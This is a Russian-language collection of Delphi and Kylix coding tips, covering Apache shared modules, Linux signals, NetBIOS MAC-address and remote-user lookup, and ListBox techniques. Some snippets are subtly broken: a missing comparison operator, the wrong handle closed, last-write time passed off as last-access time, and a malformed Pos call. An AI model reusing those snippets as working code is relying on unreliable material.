Код выглядит очень просто, однако все можно упростить еще больше. Если все, что нужно сделать в ответ на запрос, это передать страницу, созданную компонентом-генератором контента, можно вообще обойтись без обработчика OnAction. Достаточно присвоить свойству Producer соответствующего объекта TWebActionItem ссылку на компонент-генератор. Специально для отображения содержимого баз данных в Kylix и Delphi существуют еще три компонента-генератора Web-страниц: TDataSetTableProducer, TSQLQueryTableProducer и TDataSetPageProducer. Компонент TDataSetTableProducer генерирует HTML страницу, на которой записи из базы данных отображаются в виде таблицы. Для того, чтобы связать компонент TDataSetTableProducer с базой данных, необходимо указать соответствующее значение в свойстве DataSet. HTML-страница генерируется при обращении к свойству Content, также, как и в случае с TPageProducer. Компонент TDataSetTableProducer обладает множеством свойств, позволяющих задать различные элементы и внешний вид генерируемой страницы. Событие OnFormatCell, возникающее в процессе генерации страницы, позволяет динамически форматировать отдельные ячейки создаваемой таблицы.
TSQLQueryTableProducer выполняет те же функции, что и TDataSetTableProducer с тем отличием, что TSQLQueryTableProducer работает с SQL запросами к базам данных, содержащими параметры, что позволяет не отображать всю таблицу целиком, а производить выборку данных на основе некоторого признака. Источником данных для компонента TSQLQueryTableProducer является компонент TSQLQuery, на который должно указывать свойство TSQLQueryTableProducer.Query. Примеры использования компонентов TDataSetTableProducer и TSQLQueryTableProducer можно видеть в приложении frenchwines. Компонент TDataSetPageProducer позволяет создавать Web-страницу, содержащую информацию из одной (текущей) записи базы данных.
Разделяемые модули для сервера Apache
Рассмотренные в предыдущей части приложения используют универсальный интерфейс CGI и могут работать совместно с любым Web-сервером. Web-сервер Apache позволяет также использовать модули, обладающие более широкой функциональностью. Модули могут быть скомпилированы как часть ядра Apache или же реализованы в виде разделяемых библиотек. Borland Kylix позволяет создавать только модули в виде разделяемых библиотек. Для того, чтобы сервер Apache мог подключать разделяемые библиотеки, необходимо пересобрать ядро сервера, установив опцию, разрешающую загрузку разделяемых модулей. Для пересборки ядра вам потребуются исходные тексты apache (скачать их можно с www.apache.org ). Распакуйте архив дистрибутива и в коневом каталоге дистрибутива создайте файл config.status, содержащий следующий текст:
#!/bin/sh LIBS="/usr/lib/libpthread.so" \ ./configure \ "--with-layout=Apache" \ "--enable-module=so" \ "--enable-rule=SHARED_CORE" \ "$@"Далее этому файлу следует присвоить статус исполнимого: chmod 755 config.status запускаем созданный скрипт: ./config.status и даем команду make Теперь у нас есть версия Apache, поддерживающая разделяемые модули. Для того, чтобы установить сервер автоматически, необходимо в режиме root дать команду make install Учтите при этом, что после выполнения этой команды новая версия Apache может быть установлена в каталог, отличный от того, в который она была установлена ранее. Возможно, вам придется отредактировать файлы сценариев запуска и файл httpd.conf. Если Apache был установлен в каталог /usr/local/apache/, то для запуска сервера вручную можно воспользоваться командой: /usr/local/apache/bin/apachectl start а для остановки: /usr/local/apache/bin/apachectl stop
Теперь можно перейти к написанию простейшего модуля. Для создания заготовки модуля Apache в Kylix в окне New выберите элемент Web Server Application и в открывшемся диалоговом окне – пункт Apache shared module (DSO). Kylix создаст новый проект и в нем Web-модуль, аналогичный Web-модулю CGI-приложения. Разработка модулей для Apache практически аналогична разработке CGI-приложений. Сохраните ваш модуль под именем apachedemo. Создайте новое действие (при помощи свойства Actions объекта TWebModule1 и назначьте следующий обработчик событию OnAction созданного объекта-действия:
procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject; Request: TWebRequest; Response: TWebResponse; var Handled: Boolean); begin Response.Content := '<HTML><BODY><H2>Delphi World! </H2> </BODY> </HTML>'; end;
Откройте окно исходного текста проекта (Project|View Source) и отредактируйте текст, так чтобы он выглядел следующим образом:
library apachedemo;
uses
WebBroker, HTTPD, ApacheApp, Main in 'Main.pas' {WebModule1: TWebModule};
exports
apache_module name 'hello_module';
begin
ModuleName := 'Hello_Module';
ContentType := 'hello-handler';
Application.Initialize;
Application.CreateForm(TWebModule1, WebModule1);
Application.Run;
end.
Значения переменных ModuleName и ContentType необходимы серверу Apache для идентификации модуля.
Модуль для сервера готов! Скомпилируйте проект. В результате компиляции должен быть создан файл libapachedemo.so. Скопируйте этот файл в каталог разделяемых модулей сервера Apache (если сервер был установлен в каталог /usr/local/apache/, каталогом разделяемых модулей будет /usr/local/apache/libexec. Далее внесите следующие строки в файл httpd.conf:
LoadModule hello_module libexec/libHelloModule.so SetHandler hello-handler
После директивы LoadModule следует имя модуля (указанное в директиве exports библиотеки) и путь к файлу, в котором размещен модуль. Команда Location позволяет задать URL, соответствующую обработчику hello-handler. Для того, чтобы проверить работу модуля, перезапустите Web-сервер и в окне броузера наберите:
http://localhost/hello.
Теперь рассмотрим более интересный пример. Допустим, на вашем Web-сервере размещены файлы с исходными текстами Kylix-программ (файлы *.pas и *.dpr) и вы хотите, чтобы пользователям эти файлы передавались не в текстовом формате, а в формате HTML, с разметкой синтаксиса, характерной для Delphi и Kylix. Конечно, эту проблему можно решить, конвертируя все файлы исходных текстов в формат HTML перед размещением их на сервере, но мы пойдем другим путем. Файлы исходных текстов размещаются на сервере в обычном текстовом формате, а специальный модуль сервера Apache будет конвертировать их в формат HTML "налету", перед посылкой клиенту. Исходный текст модуля находится здесь. Текстовый файл reserved содержит список зарезервированных слов (которые выделяются жирным шрифтом). Скопируйте этот файл в какой-нибудь каталог (например /usr/local/apache/libexec/) и укажите путь к этому файлу в константе ReservedPath в файле main.pas. Скомпилируйте проект и скопируйте полученную библиотеку libpas2html.so в каталог libexec. В файл httpd.conf добавьте следующие строки:
LoadModule pas2html_module libexec/libpas2html.so AddType text/html .pas AddHandler pas2html-handler .pas AddType text/html .dpr AddHandler pas2html-handler .dpr
После этого следует перезапустить Web-сервер. Теперь все файлы с расширениями .pas и .dpr, находящиеся в Web-подкаталогах, будут автоматически конвертироваться в формат HTML перед посылкой клиенту.
Как перехватывать kernel-signals.
Автор: http://www.swissdelphicenter.ch
program TestSignals;
{$APPTYPE CONSOLE}
uses
Libc;
var
bTerminate: Boolean;
procedure SignalProc(SigNum: Integer); cdecl;
begin
case SigNum of
SIGQUIT:
begin
WriteLn('signal SIGQUIT');
bTerminate := true;
end;
SIGUSR1: WriteLn('signal SIGUSR1');
else
WriteLn('not handled signal');
end;
signal(SigNum, SignalProc); // catch the signal again
end;
begin
bTerminate := false;
signal(SIGQUIT, SignalProc);
// catch the signal SIGQUIT to procedure SignalProc
signal(SIGUSR1, SignalProc);
// catch the signal SIGUSR1 to procedure SignalProc
repeat
sleep(1);
until bTerminate;
end.
Как сделать mount.
Автор: http://www.swissdelphicenter.ch
{
The following example shows a Linux-Console application, which mount
the floppy.
}
program Project1;
{$APPTYPE CONSOLE}
uses
Libc;
begin
if mount('/dev/fd0', '/mnt/floppy', 'vfat', MS_RDONLY, nil) = -1 then
WriteLn('Mount return : ', Errno, '(', strerror(errno), ')')
else
WriteLn('Floppy mounted');
end.
Как нарисовать повёрнутый текст.
Автор: http://www.swissdelphicenter.ch
uses
QT;
procedure TForm1.RotatedText(Cnv: TCanvas; Wkl: Integer;
Pxy: TPoint; Txt: string);
var
PrPoint: TPoint;
begin
// Rotate Canvas
QPainter_rotate(Cnv.Handle, Wkl);
// Convert Device Coord. to Modell- Coord.
QPainter_xFormDev(Cnv.Handle, PPoint(@PrPoint),
PPoint(@Pxy));
// Write text.
Canvas.TextOut(PrPoint.X, PrPoint.Y, 'Txt');
end;
Как запустить другое приложение.
Автор: http://www.swissdelphicenter.ch
uses
libc;
procedure TForm1.Button1Click(Sender: TObject);
var
iPrg: Integer;
begin
//Execute kcalc - A calculator for KDE
iPrg := libc.system('kcalc');
if iPrg = -1 then
ShowMessage('Error executing your program');
end;
Как получить имя текущего пользователя.
Автор: http://www.swissdelphicenter.ch
function GetCurrentUser: string; var pwrec: PPasswordRecord; begin pwrec := getpwuid(getuid); Result := pwrec.pw_name; end;
Как использовать ресурсы.
Автор: http://www.swissdelphicenter.ch
{
To create resource files (*.res) for Kylix you can use the Delphi
brcc32.exe resource compiler.
Take a look at ;http://www.swissdelphicenter.ch/en/showcode.php?id=1049
Kylix dont support userdefined resourcetypes. Therefore you have to define
all resources without a predefined ResType as RCDATA.
Example with TResourceStream
Saves the resource (in userdefined.res) with the name MYRES1 to the file
test.txt
}
uses
SysUtils, Types, Classes, Variants, QGraphics, QControls, QForms, QDialogs,
QStdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
implementation
{$R *.xfm}
{$R userdefined.res}
procedure TForm1.Button1Click(Sender: TObject);
var
stream: TResourceStream;
begin
stream := TResourceStream.Create(HInstance, 'MYRES1', RT_RCDATA);
with TFileStream.Create('test.txt', fmCreate) do
begin
CopyFrom(stream, stream.Size);
Free;
end;
end;
3D-рамка для текстовых компонентов.

| Вспоминаю что надо сходить в магазин за продуктаим - беру деньги смотрю нехватает ,а сам уже автоматически думаю надо взять отгрузочный файл - найти байты денег и сделать себе побольше... |
Один из примеров создания текстового компонента с трехмерной декоративной контурной рамкой (для создания компонента потребовалось около получаса. Он демонстрирует только принцип получения рамки. Я не стал колдовать над свойствами типа ParentFont..., т.к. это заняло бы еще немало времени и места).
unit IDSLabel;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs,
ExtCtrls;
type
TIDSLabel = class(TBevel)
private
{ Private declarations }
FAlignment: TAlignment;
FCaption: string;
FFont: TFont;
FOffset: Byte;
FOnChange: TNotifyEvent;
procedure SetAlignment(taIn: TAlignment);
procedure SetCaption(const strIn: string);
procedure SetFont(fntNew: TFont);
procedure SetOffset(bOffNew: Byte);
protected
{ Protected declarations }
constructor Create(compOwn: TComponent); override;
destructor Destroy; override;
procedure Paint; override;
public
{ Public declarations }
published
{ Published declarations }
property Alignment: TAlignment read FAlignment write SetAlignment default
taLeftJustify;
property Caption: string read FCaption write SetCaption;
property Font: TFont read FFont write SetFont;
property Offset: Byte read FOffset write SetOffset;
property OnChange: TNotifyEvent read FOnChange write FOnChange;
end;
implementation
constructor TIDSLabel.Create;
begin
inherited Create(compOwn);
FFont := TFont.Create;
with compOwn as TForm do
FFont.Assign(Font);
Offset := 4;
Height := 15;
end;
destructor TIDSLabel.Destroy;
begin
FFont.Free;
inherited Destroy;
end;
procedure TIDSLabel.Paint;
var
wXPos, wYPos: Word;
begin
{Рисуем рамку}
inherited Paint;
{Назначаем шрифт}
Canvas.Font.Assign(Font);
{Вычисляем вертикальную позицию}
wYPos := (Height - Canvas.TextHeight(Caption)) div 2;
{Вычисляем горизонтальную позицию}
wXPos := Offset;
case Alignment of
taRightJustify: wXPos := Width - Canvas.TextWidth(Caption) - Offset;
taCenter: wXPos := (Width - Canvas.TextWidth(Caption)) div 2;
end;
Canvas.Brush := Parent.Brush;
Canvas.TextOut(wXPos, wYPos, Caption);
end;
procedure TIDSLabel.SetAlignment;
begin
FAlignment := taIn;
Invalidate;
end;
procedure TIDSLabel.SetCaption;
begin
FCaption := strIn;
if Assigned(FOnChange) then
FOnChange(Self);
Invalidate;
end;
procedure TIDSLabel.SetFont;
begin
FFont.Assign(fntNew);
Invalidate;
end;
procedure TIDSLabel.SetOffset;
begin
FOffset := bOffNew;
Invalidate;
end;
end.
|
Библиотека для работы с LAN.
Оформил: DeeCo
Автор: Alex.
unit NetProcs;
interface
uses Classes, Windows;
type
TAdapterStatus = record
adapter_address: array[0..5] of Char;
filler: array[1..4 * SizeOf(Char) + 19 * SizeOf(Word)
+ 3 * SizeOf(DWORD)] of Byte;
end;
THostInfo = record
username: PWideChar;
logon_domain: PWideChar;
oth_domains: PWideChar;
logon_server: PWideChar;
end; {record}
function IsNetConnect: Boolean;
{Возвращает TRUE если компьютер подключен к сети, иначе - FALSE}
function AdapterToString(Adapter: TAdapterStatus): string;
{Преобразует MAC адес в привычный xx-xx-xx-xx}
function GetMacAddresses(const Machine: string;
const Addresses: TStrings): Integer;
{Заполняет Addresses MAC-адресами компьютера с сетевым именем Machine.
Возвращает число МАС адресов на компьютере}
function GetNetUser(HostName: WideString): THostInfo;
{Возвращает LOGIN текущего пользователя на HOSTNAME компьютере}
implementation
uses NB30, SysUtils;
function IsNetConnect: Boolean;
begin
if GetSystemMetrics(SM_NETWORK) and $01 = $01 then
Result := True
else
Result := False;
end; {function}
function AdapterToString(Adapter: TAdapterStatus): string;
begin
with Adapter do
Result :=
Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x', [
Integer(adapter_address[0]), Integer(adapter_address[1]),
Integer(adapter_address[2]), Integer(adapter_address[3]),
Integer(adapter_address[4]), Integer(adapter_address[5])]);
end; {function}
function GetMacAddresses(const Machine: string;
const Addresses: TStrings): Integer;
const
NCBNAMSZ = 16; // absolute length of a net name
MAX_LANA = 254; // lana's in range 0 to MAX_LANA inclusive
NRC_GOODRET = $00; // good return
NCBASTAT = $33; // NCB ADAPTER STATUS
NCBRESET = $32; // NCB RESET
NCBENUM = $37; // NCB ENUMERATE LANA NUMBERS
type
PNCB = ^TNCB;
TNCBPostProc = procedure(P: PNCB); stdcall;
TNCB = record
ncb_command: Byte;
ncb_retcode: Byte;
ncb_lsn: Byte;
ncb_num: Byte;
ncb_buffer: PChar;
ncb_length: Word;
ncb_callname: array[0..NCBNAMSZ - 1] of Char;
ncb_name: array[0..NCBNAMSZ - 1] of Char;
ncb_rto: Byte;
ncb_sto: Byte;
ncb_post: TNCBPostProc;
ncb_lana_num: Byte;
ncb_cmd_cplt: Byte;
ncb_reserve: array[0..9] of Char;
ncb_event: THandle;
end;
PLanaEnum = ^TLanaEnum;
TLanaEnum = record
length: Byte;
lana: array[0..MAX_LANA] of Byte;
end;
ASTAT = record
adapt: TAdapterStatus;
namebuf: array[0..29] of TNameBuffer;
end;
var
NCB: TNCB;
Enum: TLanaEnum;
I: Integer;
Adapter: ASTAT;
MachineName: string;
begin
Result := -1;
Addresses.Clear;
MachineName := UpperCase(Machine);
if MachineName = '' then
MachineName := '*';
FillChar(NCB, SizeOf(NCB), #0);
NCB.ncb_command := NCBENUM;
NCB.ncb_buffer := Pointer(@Enum);
NCB.ncb_length := SizeOf(Enum);
if Word(NetBios(@NCB)) = NRC_GOODRET then
begin
Result := Enum.Length;
for I := 0 to Ord(Enum.Length) - 1 do
begin
FillChar(NCB, SizeOf(TNCB), #0);
NCB.ncb_command := NCBRESET;
NCB.ncb_lana_num := Enum.lana[I];
if Word(NetBios(@NCB)) = NRC_GOODRET then
begin
FillChar(NCB, SizeOf(TNCB), #0);
NCB.ncb_command := NCBASTAT;
NCB.ncb_lana_num := Enum.lana[i];
StrLCopy(NCB.ncb_callname, PChar(MachineName), NCBNAMSZ);
StrPCopy(@NCB.ncb_callname[Length(MachineName)],
StringOfChar(' ', NCBNAMSZ - Length(MachineName)));
NCB.ncb_buffer := PChar(@Adapter);
NCB.ncb_length := SizeOf(Adapter);
if Word(NetBios(@NCB)) = NRC_GOODRET then
Addresses.Add(AdapterToString(Adapter.adapt));
end;
end;
end;
end; {function}
function
NetWkstaUserEnum(servername: PWideChar;
level: DWord;
var bufptr: Pointer;
prefmaxlen: DWord;
var entriesread: PDWord;
var totalentries: PDWord;
var resumehandle: PDWord): LongInt;
stdcall; external 'netapi32.dll' name 'NetWkstaUserEnum';
function GetNetUser(HostName: WideString): THostInfo;
var
Info: Pointer;
ElTotal: PDWord;
ElCount: PDWord;
Resume: PDWord;
Error: LongInt;
begin
Resume := 0;
NetWkstaUserEnum(PWideChar(HostName), 1, Info, 0,
ElCount, ElTotal, Resume);
Error := NetWkstaUserEnum(PWideChar(HostName), 1, Info, 256 *
Integer(ElTotal),
ElCount, ElTotal, Resume);
case Error of
ERROR_ACCESS_DENIED: Result.UserName := 'ERROR - ACCESS DENIED';
ERROR_MORE_DATA: Result.UserName := 'ERROR - MORE DATA';
ERROR_INVALID_LEVEL: Result.UserName := 'ERROR - INVALID LEVEL';
else if Info <> nil then
Result := THostInfo(info^)
else
begin
Result.username := '???';
Result.logon_domain := '???';
Result.oth_domains := '???';
Result.logon_server := '???';
end; {if}
end; {case}
end; {function}
end.
Как выяснить дату последнего доступа к файлу.
| Некий программист-коболист в поте лица трудился над пресловутой проблемой 2000 года. Он чинил программы во многих фирмах и зашибал приличные бабки. Но по мере приближения роковой даты его все больше охватывал ужас: что будет со всеми этими программами и с ним самим? Наконец он решил заморозиться и проспать в анабиозе до февраля 2000 года, а там, глядишь, вся свистопляска и уляжется... ...Он проснулся в странном незнакомом помещении, вокруг ликовали люди: - Очнулся, очнулся! - Сейчас с вами будет говорить президент Земного Шара. На огромном стереоскопическом экране возник человек, весьма похожий на Билла Гейтса. - Видите ли, программа вашей камеры при переходе к 2000 году сработала неправильно, и вы проспали почти 8000 лет. Но вы не волнуйтесь. Наша жизнь прекрасна. Мы достигли огромных успехов в науке и технологии. Мы покорили время и пространство. Мы... - Но почему вы меня разморозили? - Понимаете, приближается 10000 год, а в вашем досье указано, что вы знаете КОБОЛ. |
Данная процедура, позволяет узнать дату последнего доступа к файлу, код не проверял, но говорят работает. Для тех кто не знает что с этим делать намекну, можно использовать для создания триального реиода или просто отслеживания доступа к компьютеру.
procedure TForm1.Button1Click(Sender: TObject);
var
FileHandle: THandle;
LocalFileTime: TFileTime;
DosFileTime: DWORD;
LastAccessedTime: TDateTime;
FindData: TWin32FindData;
begin
FileHandle := FindFirstFile('AnyFile.FIL', FindData);
if FileHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime,
LongRec(DosFileTime).Hi, LongRec(DosFileTime).Lo);
LastAccessedTime := FileDateToDateTime(DosFileTime);
Label1.Caption := DateTimeToStr(LastAccessedTime);
end;
end;
end;
|
Последний день месяца.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function LastDayOfCurrentMonth: TDate;
var
y, m, d: Word;
begin
DecodeDate(now, y, m, d);
m := m + 1;
if m 12 then
begin
y := y + 1;
m := 1;
end;
Result := EncodeDate(y, m, 1) - 1;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(DateToStr(LastDayOfCurrentMonth));
end;
Получить позицию последнего вхождения подстроки в строку.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Letzte Position von SubStr in S ermitteln.
Returns the last occurence of SubStr in S.
}
function LastPos(SubStr, S: string): Integer;
var
Found, Len, Pos: integer;
begin
Pos := Length(S);
Len := Length(SubStr);
Found := 0;
while (Pos > 0) and (Found = 0) do
begin
if Copy(S, Pos, Len) = SubStr then
Found := Pos;
Dec(Pos);
end;
LastPos := Found;
end;
Получить позицию последнего вхождения подстроки в строку 2.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// by Manuel Wiersch
function LastPos(const SubStr: AnsiString; const S: AnsiString): LongInt;
asm
TEST EAX,EAX // EAX auf 0 prufen (d.h. SubStr = nil)
JE @@noWork // wenn EAX = 0 dann Sprung zu noWork
TEST EDX,EDX
// Test ob S = nil
JE @@stringEmpty // bei Erfolg -> Sprung zum Label 'stringEmpty'
PUSH EBX
PUSH ESI
PUSH EDI // Register auf dem Stack sichern Grund: OH
// OH: "In einer asm-Anweisung mu? der Inhalt
// der Register EDI, ESI, ESP, EBP und EBX
// erhalten bleiben (dh. vorher auf dem Stack
// speichern) MOV ESI, EAX
// ESI = Sourceindex -> Adresse vom SubStr
MOV EDI, EDX // EDI = Destinationindex -> Adresse von S
MOV ECX,[EDI-4] // Lange von S ins Zahlregister
MOV EDX,[ESI-4] // Lange des SubStr in EDX
DEC EDX // Length(SubStr) - 1
JS @@fail
// Vorzeichenbedingter Sprung (JumpIfSign)
// d.h. (EDX < 0) -> Sprung zu 'fail'
STD; // SetDirectionFlag -> Stringroutinen von hinten
// abarbeiten
ADD ESI, EDX // Pointer auf das letzte Zeichen vom SubStr
ADD EDI, ECX
DEC EDI // Pointer auf das letzte Zeichen von S
MOV AL, [ESI] // letztes Zeichen des SubStr in AL laden
DEC ESI // Pointer auf das vorletzte Zeichen setzen.
SUB ECX, EDX // Anzahl der Stringdurchlaufe
// = Length(s) - Length(substr) + 1
JLE @@fail // Sprung zu 'fail' wenn ECX <= 0
@@loop:
REPNE SCASB // Wdh. solange ungleich (repeat while not equal)
// scan string for byte
JNE @@fail
MOV EBX,ECX { Zahleregister, ESI und EDI sichern, da nun der
Vergleich durchgefuhrt wird ob die nachfolgenden
Zeichen von SubStr in S vorhanden sind }
PUSH ESI
PUSH EDI
MOV ECX,EDX // Lange des SubStrings in ECX
REPE CMPSB // Solange (ECX > 0) und (Compare string fo byte)
// dh. solange S[i] = SubStr[i]
POP EDI
POP ESI // alten Source- und Destinationpointer vom Stack holen
JE @@found // Und schon haben wir den Index da ECX = 0
// dh. alle Zeichen wurden gefunden
MOV ECX, EBX // ECX wieder auf alte Anzahl setzen und
JMP @@loop // Start bei 'loop'
@@fail:
XOR EAX,EAX // EAX auf 0 setzen
JMP @@exit @@stringEmpty:
XOR EAX,EAX
JMP @@noWork @@found:
MOV EAX, EBX // in EBX steht nun der aktuelle Index
INC EAX // um 1 erhohen, um die Position des 1. Zeichens zu
// bekommen
@@exit:
POP EDI
POP ESI
POP EBX
@@noWork: CLD; // DirectionFlag loschen
end;
Взять часть URL, которая следует после названия сайта.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
InternetCrackUrl() takes a URL as a parameter and breaks it down into components,
which are then accessible via the TURLComponents structure.
InternetCrackUrl() zerlegt eine URL in seine Komponenten, welche dann ььег die
TURLComponents Struktur zиgдng1iсh sind.
}
uses
WinInet;
procedure TForm1.Button1Click(Sender: TObject);
var
aURLC: TURLComponents;
const
TEST_URL = 'http://www.swissdelphicenter.ch/de/tipsindex.php';
begin
FillChar(aURLC, SizeOf(TURLComponents), 0);
with aURLC do
begin
lpszScheme := nil;
dwSchemeLength := INTERNET_MAX_SCHEME_LENGTH;
lpszHostName := nil;
dwHostNameLength := INTERNET_MAX_HOST_NAME_LENGTH;
lpszUserName := nil;
dwUserNameLength := INTERNET_MAX_USER_NAME_LENGTH;
lpszPassword := nil;
dwPasswordLength := INTERNET_MAX_PASSWORD_LENGTH;
lpszUrlPath := nil;
dwUrlPathLength := INTERNET_MAX_PATH_LENGTH;
lpszExtraInfo := nil;
dwExtraInfoLength := INTERNET_MAX_PATH_LENGTH;
dwStructSize := SizeOf(aURLC);
end;
if InternetCrackUrl(PChar(TEST_URL), Length(TEST_URL), 0, aURLC) then
begin
ShowMessage(aURLC.lpszUrlPath);
end;
end;
Как отловить изменение раскладки клавиатуры.
| Автор: Александр |
| Клавиатура Калашникова: Del-Del-Del-Del-..... |
Нужно ловить сообщение WM_INPUTLANGCHANGEREQUEST.
Или.
procedure TForm1.Timer1Timer(Sender: TObject);
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
GetKeyboardLayoutName(Layout);
if Layout = '00000409' then
label1.caption:='en'
else
label1.caption:='ru';
end;
|
Копирование выделеных строк из Listbox1 в Listbox2.
Автор: Black_phoenix WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> копирование выделеных строк из listbox1 в listbox2
Зависимости: Windows, SysUtils, Classes, Controls, StdCtrls
Автор: Black_phoenix, Black_phoenix@rambler.ru, Almaty
Copyright:
Дата: 30 апреля 2003 г.
***************************************************** }
public
function GetFirstSelection(List: TCustomListBox): Integer;
procedure MoveSelected(List: TCustomListBox; Items: TStrings);
procedure SetItem(List: TListBox; Index: Integer);
implementation
function tform1.GetFirstSelection(List: TCustomListBox): Integer;
begin
for Result := 0 to List.Items.Count - 1 do
if List.Selected[Result] then
Exit;
Result := LB_ERR;
end;
procedure tform1.MoveSelected(List: TCustomListBox; Items: TStrings);
var
I: Integer;
begin
for I := List.Items.Count - 1 downto 0 do
if List.Selected[I] then
begin
Items.AddObject(List.Items[I], List.Items.Objects[I]);
// List.Items.Delete(I); // можно оставить если вы хотите чтобы в 1 списке строки удалились
end;
end;
procedure tform1.SetItem(List: TListBox; Index: Integer);
var
MaxIndex: Integer;
begin
with List do
begin
SetFocus;
MaxIndex := List.Items.Count - 1;
if Index = LB_ERR then
Index := 0
else if Index > MaxIndex then
Index := MaxIndex;
Selected[Index] := True;
end;
end;
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
Index: Integer;
begin
Index := GetFirstSelection(listbox1);
MoveSelected(listbox1, listbox2.Items);
SetItem(listbox1, Index);
end;
Добавить новые строки в TListBox с прокруткой до конца.
Автор: BadBoy WEB-сайт: http://delphibase.endimus.com
procedure addmsg(str: string);
begin
if str <> '' then
begin
ListBox.Items.Add(str);
ListBox.Perform(LB_SETTOPINDEX, Pred(ListBox.Items.Count), 0);
end;
end;
Выравнивание в ListBox.
Перед тем, как вычислить позицию фразы, необходимо с помощью функции TextWidth вычислить ее ширину.
var
J, TempInt, LongPrefixLen, CurrPrefixLen: Integer;
begin
{Вычисляем TextWidth по ключевой строке}
{Устанавливаем CurrPrefixLen в TextWidth ключевого слова
строки Indexth}
LongPrefixLen := 0;
for J := 0 to ListBox1.Items.Count - 1 do
with ListBox1.Canvas do
begin
TempInt := TextWidth(Copy(Items[J], 1, Pos(KeyString, Items[J] - 1)));
if LongPrefixLen < TempInt then
LongPrefixLen := TempInt;
if J = Index then
CurrPrefixLen := TempInt;
end;
{PrevTextLeft - TextLeft = Где мы хотим вывести новый элемент}
TextOut(LongPrefixLen - CurrPrefixLen, Y, Items[I]);
end;
|
Внешние данные и ListBox.
Автор: Peter Below Мне необходимо создать Listbox с использованием внешних данных, хранимых в огромном (!) TStringList. Существует ли какое-нибудь системное сообщение, которое я мог бы перехватывать для получения данных Listbox из внешнего TStringlist? Просматривая справочник по API, я нашел интересный пункт, который может помочь вам решить проблему: в Win32 вы можете создать Listbox со стилем LBS_NODATA: (из описания CreateWindow:) LBS_NODATA Определяет ListBox со стилем no-data (без данных). Данный стиль необходимо применять в случае, если количество элементов в ListBox превышает одну тысячу. no-data ListBox также должен иметь стиль LBS_OWNERDRAWFIXED, но не может иметь стиль LBS_SORT или LBS_HASSTRINGS. no-data ListBox похож на owner-drawn ListBox за исключением того, что он не содержит в своих элементах строк и изображений (иконок). Команды добавления, вставки или удаления данных в элементах такого типа ListBox будут проигнорированы, а запросы для поиска строк всегда будут заканчиваться неудачей. При необходимости отрисовки данного элемента, Windows посылает родительскому окну сообщение WM_DRAWITEM. Член itemID стуктуры DRAWITEMSTRUCT, передаваемой с сообщением WM_DRAWITEM, определяет номер строки (элемент), который должен быть перерисован. no-data ListBox не посылает сообщение WM_DELETEITEM. Количество элементов в таком списке вы можете установить с помощью сообщения LB_SETCOUNT. Это позволит вам создать "виртуальный" ListBox с очень небольшой загрузкой.Чтобы воспользоваться новым стилем, вам нужно создать новый класс-наследник от TListbox и перекрыть метод CreateParams.
Быстрая отрисовка BitMap в компоненте TListBox.
Эту задачу можно решить разными способами, но в случае, когда изображение в списке должно меняться в зависимости от каких-то условий в режиме run-time, то встает вопрос о скорости перерисовки при скроллировании списка. Вот одно из возможных решений: создается компонент TImageList, который содержит весь необходимый набор изображений. И на событие TListBox.onDrawItem непосредственно на канве списка рисуется нужный BitMap самим TImageList. Метод TImageList.Draw работает очень быстро, так что при скролировании списка в несколько сотен записей замедление не заметно.Примечание: В данном примере IMAGE_NORMAL, IMAGE_MESSAGE и IMAGE_AUTOANS константы, определяющие какое именно изображение надо рисовать в зависимости от значения функции (собственной) GetUserStatus.
procedure TMain.UserListDrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
begin
with TCustomListBox(Control) do
begin
Canvas.FillRect(Rect);
// Вывод самого текста текущего Item-а списка со сдвигом, чтобы освободить
// место для изображения
Canvas.TextOut(Rect.Left + 2 + ImageList.Height, Rect.Top + 3,
Items[Index]);
Rect.Bottom := Rect.Top + ImageList.Height; // перерисовывать только
Rect.Right := Rect.Left + ImageList.Width; // часть , на которой картинка
Rect.Top := Rect.Top + 2;
// по состоянию юзера перерисовывается изображение
case GetUserStatus(Index) of
suNormal: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_NORMAL);
suMessage: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_MESSAGE);
suAutoans: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_AUTOANS);
end; // Case
end; // With
end;
|
Поиск в списке любого слова или буквы.
Автор: Лагуткин Денис.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
a: Integer = 0;
implementation
{$R *.dfm}
function UpCaseAll(x: string): string;
var
b, w: integer;
str: string;
begin
for w := 1 to length(x) do
begin
b := ord(x[w]);
case b of
0..96: x[w] := chr(b);
97..122: x[w] := UpCase(chr(b));
123..183: x[w] := chr(b);
184: x[w] := chr(168);
185..223: x[w] := chr(b);
224..255:
begin
b := b - (Ord('а') - Ord('А'));
x[w] := chr(b);
end;
end;
str := str + x[w];
end;
UpCaseAll := str;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
st, st1: string;
f, i: integer;
begin
st := UpCaseAll(Edit1.Text);
if st <> '' then
begin
for i := a to listbox1.Count - 1 do
begin
st1 := UpCaseAll(Listbox1.Items.Strings[i]);
repeat
f := POS(st, st1);
if f <> 0 then
begin
Listbox1.ItemIndex := i;
a := i + 1;
exit;
end;
until f = 0;
end;
a := 0;
end;
end;
end.
